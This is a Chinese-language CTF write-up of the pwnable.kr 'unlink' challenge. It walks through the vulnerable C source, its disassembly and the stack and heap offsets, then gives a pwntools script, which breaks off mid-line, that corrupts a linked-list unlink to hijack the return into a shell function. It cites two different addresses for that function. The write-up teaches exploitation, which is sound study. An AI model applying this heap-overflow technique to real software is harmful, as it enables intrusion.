堆(栈)溢出之unlink

Daddy! how can I exploit unlink corruption?

ssh [email protected] -p2222 (pw: guest)

 

源代码如下:

#include 
#include 
#include 
typedef struct tagOBJ{
        struct tagOBJ* fd;
        struct tagOBJ* bk;
        char buf[8];
}OBJ;

void shell(){
        system("/bin/sh");
}

void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
        BK=P->bk;
        FD=P->fd;
        FD->bk=BK;
        BK->fd=FD;
}
int main(int argc, char* argv[]){
        malloc(1024);
        OBJ* A = (OBJ*)malloc(sizeof(OBJ));
        OBJ* B = (OBJ*)malloc(sizeof(OBJ));
        OBJ* C = (OBJ*)malloc(sizeof(OBJ));

        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;

        printf("here is stack address leak: %p\n", &A);
        printf("here is heap address leak: %p\n", A);
        printf("now that you have leaks, get shell!\n");
        // heap overflow!
        gets(A->buf);

        // exploit this unlink!
        unlink(B);
        return 0;
}

objdump -d -mi386:intel unlink结果如下:

080484eb :
 80484eb:	55                   	push   ebp
 80484ec:	89 e5                	mov    ebp,esp
 80484ee:	83 ec 08             	sub    esp,0x8
 80484f1:	83 ec 0c             	sub    esp,0xc
 80484f4:	68 90 86 04 08       	push   0x8048690
 80484f9:	e8 c2 fe ff ff       	call   80483c0 
 80484fe:	83 c4 10             	add    esp,0x10
 8048501:	90                   	nop
 8048502:	c9                   	leave  
 8048503:	c3                   	ret    

08048504 :
 8048504:	55                   	push   ebp
 8048505:	89 e5                	mov    ebp,esp
 8048507:	83 ec 10             	sub    esp,0x10
 804850a:	8b 45 08             	mov    eax,DWORD PTR [ebp+0x8]
 804850d:	8b 40 04             	mov    eax,DWORD PTR [eax+0x4]
 8048510:	89 45 fc             	mov    DWORD PTR [ebp-0x4],eax
 8048513:	8b 45 08             	mov    eax,DWORD PTR [ebp+0x8]
 8048516:	8b 00                	mov    eax,DWORD PTR [eax]
 8048518:	89 45 f8             	mov    DWORD PTR [ebp-0x8],eax
 804851b:	8b 45 f8             	mov    eax,DWORD PTR [ebp-0x8]
 804851e:	8b 55 fc             	mov    edx,DWORD PTR [ebp-0x4]
 8048521:	89 50 04             	mov    DWORD PTR [eax+0x4],edx
 8048524:	8b 45 fc             	mov    eax,DWORD PTR [ebp-0x4]
 8048527:	8b 55 f8             	mov    edx,DWORD PTR [ebp-0x8]
 804852a:	89 10                	mov    DWORD PTR [eax],edx
 804852c:	90                   	nop
 804852d:	c9                   	leave  
 804852e:	c3                   	ret    

0804852f 
: 804852f: 8d 4c 24 04 lea ecx,[esp+0x4] 8048533: 83 e4 f0 and esp,0xfffffff0 8048536: ff 71 fc push DWORD PTR [ecx-0x4] 8048539: 55 push ebp 804853a: 89 e5 mov ebp,esp 804853c: 51 push ecx 804853d: 83 ec 14 sub esp,0x14 8048540: 83 ec 0c sub esp,0xc 8048543: 68 00 04 00 00 push 0x400 8048548: e8 53 fe ff ff call 80483a0 804854d: 83 c4 10 add esp,0x10 8048550: 83 ec 0c sub esp,0xc 8048553: 6a 10 push 0x10 8048555: e8 46 fe ff ff call 80483a0 804855a: 83 c4 10 add esp,0x10 804855d: 89 45 ec mov DWORD PTR [ebp-0x14],eax 8048560: 83 ec 0c sub esp,0xc 8048563: 6a 10 push 0x10 8048565: e8 36 fe ff ff call 80483a0 804856a: 83 c4 10 add esp,0x10 804856d: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 8048570: 83 ec 0c sub esp,0xc 8048573: 6a 10 push 0x10 8048575: e8 26 fe ff ff call 80483a0 804857a: 83 c4 10 add esp,0x10 804857d: 89 45 f0 mov DWORD PTR [ebp-0x10],eax 8048580: 8b 45 ec mov eax,DWORD PTR [ebp-0x14] 8048583: 8b 55 f4 mov edx,DWORD PTR [ebp-0xc] 8048586: 89 10 mov DWORD PTR [eax],edx 8048588: 8b 55 ec mov edx,DWORD PTR [ebp-0x14] 804858b: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 804858e: 89 50 04 mov DWORD PTR [eax+0x4],edx 8048591: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 8048594: 8b 55 f0 mov edx,DWORD PTR [ebp-0x10] 8048597: 89 10 mov DWORD PTR [eax],edx 8048599: 8b 45 f0 mov eax,DWORD PTR [ebp-0x10] 804859c: 8b 55 f4 mov edx,DWORD PTR [ebp-0xc] 804859f: 89 50 04 mov DWORD PTR [eax+0x4],edx 80485a2: 83 ec 08 sub esp,0x8 80485a5: 8d 45 ec lea eax,[ebp-0x14] 80485a8: 50 push eax 80485a9: 68 98 86 04 08 push 0x8048698 80485ae: e8 cd fd ff ff call 8048380 80485b3: 83 c4 10 add esp,0x10 80485b6: 8b 45 ec mov eax,DWORD PTR [ebp-0x14] 80485b9: 83 ec 08 sub esp,0x8 80485bc: 50 push eax 80485bd: 68 b8 86 04 08 push 0x80486b8 80485c2: e8 b9 fd ff ff call 8048380 80485c7: 83 c4 10 add esp,0x10 80485ca: 83 ec 0c sub esp,0xc 80485cd: 68 d8 86 04 08 push 0x80486d8 80485d2: e8 d9 fd ff ff call 80483b0 80485d7: 83 c4 10 add esp,0x10 80485da: 8b 45 ec mov eax,DWORD PTR [ebp-0x14] 80485dd: 83 c0 08 add eax,0x8 80485e0: 83 ec 0c sub esp,0xc 80485e3: 50 push eax 80485e4: e8 a7 fd ff ff call 8048390 80485e9: 83 c4 10 add esp,0x10 80485ec: 83 ec 0c sub esp,0xc 80485ef: ff 75 f4 push DWORD PTR [ebp-0xc] 80485f2: e8 0d ff ff ff call 8048504 80485f7: 83 c4 10 add esp,0x10 80485fa: b8 00 00 00 00 mov eax,0x0 80485ff: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4] 8048602: c9 leave 8048603: 8d 61 fc lea esp,[ecx-0x4] 8048606: c3 ret 8048607: 66 90 xchg ax,ax 8048609: 66 90 xchg ax,ax 804860b: 66 90 xchg ax,ax 804860d: 66 90 xchg ax,ax 804860f: 90 nop

仔细阅读以上汇编代码,得出的栈帧结构如下:

堆(栈)溢出之unlink_第1张图片

我们需要利用的程序实现了双向链表结构。链表中的每个节点都有一个指向下一个元素(fd)的指针,一个指向前一个元素(bk)的指针以及8个字节的内容(buf)。该程序支持“ unlink”功能:当在链接L上运行unlink时,程序将备份下一个链接Lprev和上一个链接Lnext的标识,然后连接这两个链接:Lnext上的bk指针指向到Lprev,然后使Lprev上的fd指针指向Lnext。

•创建三个这样的链接:A,B和C

•操作链接指针,以便使用A第一,B第二和C第三创建正确的双向链接列表

•将指针&A保留在堆栈(栈)上的地址作为main函数中的一个变量

•显示A对象保留在堆上的地址

•给用户权限以覆盖堆上以A.buf开头的内存

•尝试在B上调用unlink

堆(栈)溢出之unlink_第2张图片

我们最好制定一种攻击策略–为此,我们需要概述堆栈和堆的形状。指向A,B和C的指针将位于堆上,而实际对象A,B和C将位于堆上。我们可能会猜测,堆中的指针将紧挨着放置,并且堆分配本身也可能按照分配的顺序彼此靠近,尽管不能保证它们是连续的(因为我们已经在memcpy中看到)。这意味着在调用get返回之后,除了A的fd和bk值(出现在内存中A.buf之前)之外,我们可能将控制所有链接缓冲区和指针。

让我们仔细看看unlink功能的作用。从逻辑上讲,它大致等于,然后是(区别在于程序中,的值是预先计算的)。在内存方面,这转换为*((*(B+0))+4)= *(B+4)和*((*(B+4))+0)= *(B+0)。

制定攻击计划:

•在内存中选择一个位置M来存储shell程序的地址。 M需要是可写的,并且我们不必关心M + 4是否损坏。

•用M + 4覆盖B->fd(因数4是为了抵消了lea esp, [ecx-4]中的减法)。

•使用esp备份变量E的堆栈地址覆盖B-\u003e bk。

•使用shell函数的地址(0x80484eb)覆盖M。

不过,我们还有很多细节需要解决

•正确的shell地址

•我们对M的选择

•B.fd和B.bk相对于我们堆溢出输入开始的A.buf的正确偏移量

•在exploit之前可以正确计算M和E的值; E仅在运行时才知道,M的值取决于我们的选择

该程序为我们提供了堆栈上的&A指针和堆上的A对象的内存泄漏。如果我们注意到,只要给定B相对于A的偏移量,我们就可以对未知量进行推断。我们就可以计算B.fd,B.bk和B.buf相对于input starting的偏移。A位于input_start-8,B位于(input_start-8)+(B-A),通过B+0对应B.fd,B+4对应B.bk,B+8对应B.buf。

为了计算E,我们可以通过计算出stack lead的地址(&A)。E和&A之间的偏移是个常数。程序中总共有4个malloc操作,第二个malloc把返回值分配给了本地变量&A所指向的内存单元,所以,通过汇编代码我们可以看到,&A对应于ebp-0x14。esp的备份变量(ecx, ecx==esp+4, 所以让ecx==M+4,那么M就对应了esp,在M处写入shellcode的地址,那么就可以通过ret之后而执行shellcode了)位于ebp-0x4,所以我们可以推断正确的偏移是:-0x4-(-0x14)=0x10

我们同样可以推断,&B位于ebp-0x0c,&C位于ebp-0x10。这意味着,从栈顶到栈底,栈中的link variables依次是:A,C,B。

•shell的地址:0x80484eb

•M的选择:B.buf(A+(B-A)+8)

•B.fd和B.bk相对于A.buf的偏移:(B-A)-8和(B-A)-8+4

•E:&A+0x10

由于A(heap_leak)和&A(stack_lean)在程序中给出了,那么我们只剩下一个未知量了:B-A,也就是B相对于A的偏移量。所以,在目标环境中对程序进行debug。在A,B,C都malloc了之后的位置处打个断点(break *0x8048580),接着运行(r)。然后查看stack中的&A和&B地址处存的值:x/xw $ebp-0x14,x/xw $ebp-0xC。结果显示,B相对于A的偏移是0x18。

因为我们的输入从A.buf开始,对应着A+8,在偏移0x10处重写B,4字节重写B-fd,接着4字节重写B-bk,最终8字节重写B-buf.

所以:最终的计划:

使用B.buf+4 重写 B->fd(input_start+0x10)

使用E(stack_leak+0x10)重写B->bk(input_start+0x14)

使用shell地址(0x804843b)重写B->buf(input_start+0x18)

堆(栈)溢出之unlink_第3张图片

上面对应的是B.fd存M+4,B.bk存E。

堆(栈)溢出之unlink_第4张图片

 

当然了,还有另一种思路,就是B.fd存E,B.bk存M+4.

堆(栈)溢出之unlink_第5张图片

import re
import chardet
from pwn import *
from struct import pack

p = process("./unlink")
print(p)
stack_leak = int(re.search('0x[^\n]+', p.recvline().decode('ascii')).group(0),16)
print(hex(stack_leak))
heap_leak = int(re.search('0x[^\n]+', p.recvline().decode('ascii')).group(0),16)
print(hex(heap_leak))
ret = stack_leak + 16
shell = 0x80484eb
heap = heap_leak + 8
p.sendline(pack('

-------------------------------------------------------------------------------------------------

附1:分析malloc的过程

0804852f

:
 804852f:    8d 4c 24 04              lea    ecx,[esp+0x4]
 8048533:    83 e4 f0                 and    esp,0xfffffff0
 8048536:    ff 71 fc                 push   DWORD PTR [ecx-0x4]
 8048539:    55                       push   ebp
 804853a:    89 e5                    mov    ebp,esp
 804853c:    51                       push   ecx
 804853d:    83 ec 14                 sub    esp,0x14
 8048540:    83 ec 0c                 sub    esp,0xc
 8048543:    68 00 04 00 00           push   0x400
 8048548:    e8 53 fe ff ff           call   80483a0
 804854d:    83 c4 10                 add    esp,0x10
 8048550:    83 ec 0c                 sub    esp,0xc
 8048553:    6a 10                    push   0x10
 8048555:    e8 46 fe ff ff           call   80483a0
 804855a:    83 c4 10                 add    esp,0x10

 804855d:    89 45 ec                 mov    DWORD PTR [ebp-0x14],eax
 8048560:    83 ec 0c                 sub    esp,0xc
 8048563:    6a 10                    push   0x10
 8048565:    e8 36 fe ff ff           call   80483a0
 804856a:    83 c4 10                 add    esp,0x10

 804856d:    89 45 f4                 mov    DWORD PTR [ebp-0xc],eax
 8048570:    83 ec 0c                 sub    esp,0xc
 8048573:    6a 10                    push   0x10
 8048575:    e8 26 fe ff ff           call   80483a0
 804857a:    83 c4 10                 add    esp,0x10

 804857d:    89 45 f0                 mov    DWORD PTR [ebp-0x10],eax
 8048580:    

 

sub表示给函数的调用做准备(创建栈帧结构),push表示插入参数(malloc分配的字节的个数),call表示实际的调用,add表示恢复栈帧结构。

附2:使用gdb查看各个函数的地址

使用gdb可以查看C语言二进制可执行文件的各个函数的地址:

堆(栈)溢出之unlink_第6张图片

附3:objdump产生intel格式的汇编代码

堆(栈)溢出之unlink_第7张图片

acat@acat-xx:test$ objdump -d -mi386:intel unlink

如下图:即为intel格式的汇编代码
堆(栈)溢出之unlink_第8张图片

objdump -d --prefix-addresses -mi386:intel unlink
可以显示长串的地址

堆(栈)溢出之unlink_第9张图片

blukat@pwnable:~$ objdump -d -mi386:x86-64:intel blukat

你可能感兴趣的:(堆(栈)溢出之unlink)